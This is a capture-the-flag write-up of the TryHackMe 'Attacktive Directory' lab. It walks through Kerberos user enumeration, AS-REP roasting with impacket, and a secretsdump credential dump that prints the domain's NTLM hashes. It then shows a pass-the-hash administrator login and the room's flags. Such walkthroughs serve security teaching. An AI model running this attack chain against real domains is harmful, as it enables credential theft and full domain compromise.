

Attacktive Directory

export IP='10.10.88.240'
OS: Windows

=====

Nmap result:
...

PORT	STATE	SERVICE	VERSION
53/tcp	open	domain	Simple DNS Plus
80/tcp	open	http	Microsoft IIS httpd 10.0
http-methods:			
_ Potentially risky methods: TRACE			
_ http-title: IIS Windows Server			
_ http-server-header: Microsoft-IIS/10.0			
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2024-01-03 15:41:23Z)
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp	open	microsoft-ds?	
464/tcp	open	kpasswd5?	
593/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
636/tcp	open	tcpwrapped	
3268/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp	open	tcpwrapped	
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services
_ ssl-date: 2024-01-03T15:42:30+00:00; 0s from scanner time.			
rdp-ntlm-info:			
Target_Name: THM-AD			
NetBIOS_Domain_Name: THM-AD			
NetBIOS_Computer_Name: ATTACKTIVEDIRECT			
DNS_Domain_Name: spookysec.local			
DNS_Computer_Name: AttacktiveDirectory.spookysec.local			
Product_Version: 10.0.17763			
_ System_Time: 2024-01-03T15:42:21+00:00			
ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local			
Not valid before: 2024-01-02T15:33:42			
_ Not valid after: 2024-07-03T15:33:42			
5985/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_ http-title: Not Found			
_ http-server-header: Microsoft-HTTPAPI/2.0			
9389/tcp	open	mc-nmf	.NET Message Framing
47001/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_ http-server-header: Microsoft-HTTPAPI/2.0			
_ http-title: Not Found			
49664/tcp	open	msrpc	Microsoft Windows RPC
49665/tcp	open	msrpc	Microsoft Windows RPC
49666/tcp	open	msrpc	Microsoft Windows RPC
49669/tcp	open	msrpc	Microsoft Windows RPC

49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

49674/tcp open msrpc Microsoft Windows RPC

49676/tcp open msrpc Microsoft Windows RPC

49679/tcp open msrpc Microsoft Windows RPC

49684/tcp open msrpc Microsoft Windows RPC

49698/tcp open msrpc Microsoft Windows RPC

49803/tcp open msrpc Microsoft Windows RPC

Service Info: Host: ATTACKTIVEDIRECTORY; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-time:

| date: 2024-01-03T15:42:23

| _start_date: N/A

| smb2-security-mode:

| 3:1:1:

| _ Message signing enabled and required

...

PORTS:

80 (HTTP)

88 (KRB); 464 -->(AD)

139,445 (SMB)

389,636(LDAP),3268,3269 (LDAPS)

3389 (RDP)

5985 (WINRM)

ENUMERATION:

For AD machines → if we find port 88 is open then we will start by enumerating it.

Also in case of AD: DNS plays an important role that is while solving the machine we have to configure our /etc/hosts file

88 (Kerberos) AD --> spookysec.local

Enumerating Users via Kerberos:

USER ENUM:

```
2024/01/04 11:36:58 > [+] VALID USERNAME: james@spookysec.local
2024/01/04 11:37:02 > [+] VALID USERNAME: svc-admin@spookysec.local
2024/01/04 11:37:06 > [+] VALID USERNAME: James@spookysec.local
2024/01/04 11:37:07 > [+] VALID USERNAME: robin@spookysec.local
2024/01/04 11:37:22 > [+] VALID USERNAME: darkstar@spookysec.local
2024/01/04 11:37:32 > [+] VALID USERNAME: administrator@spookysec.local
2024/01/04 11:37:51 > [+] VALID USERNAME: backup@spookysec.local
2024/01/04 11:38:00 > [+] VALID USERNAME: paradox@spookysec.local
2024/01/04 11:38:57 > [+] VALID USERNAME: JAMES@spookysec.local
2024/01/04 11:39:16 > [+] VALID USERNAME: Robin@spookysec.local
```

Abusing Kerberos:

then go for **ASREPRoasting**:

using a tool from impacket:

...

```
./GetNPUsers.py -dc-ip 10.10.88.240 spookysec.local/ -usersfile ../../home/debangshu/Desktop/ctf/thm/
Attacktive-Directory/user.txt
```

...

Credentials:

svc-admin:management2005

backup:backup2517860

backup@spookysec.local:backup2517860

Elevating Privileges within the Domain:

(NOTE: the backup account for the Domain Controller. This account has a unique permission that allows all Active Directory changes to be synced with this user account. This includes password hashes) (we can use another tool within Impacket called "secretsdump.py". This will allow us to retrieve all of the password hashes that this user account (that is synced with the domain controller) has to offer.)

...

```
./secretsdump.py -dc-ip $IP spookysec.local/backup:backup2517860@$IP
```

...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::

spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::

spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:

5fe9353d4b96cc410b62cb7e11c57ba4:::

spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::

spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::

spookysec.local\sherlocksec:

1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::

spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cf70af882d53d758a1612af78a646b7:::

spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::

spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::

spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::

spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::

spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::

spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::

spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::

spookysec.local\spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::

the last field is the NTLM hash

...

```
evil-winrm -i $IP -u administrator -H 0e0363213e37b94221497260b0bcb4fc
```

...

TryHackMe{K3rb3r0s_Pr3_4uth}

TryHackMe{B4ckM3UpSc0tty!}

TryHackMe{4ctiveD1rectoryM4st3r}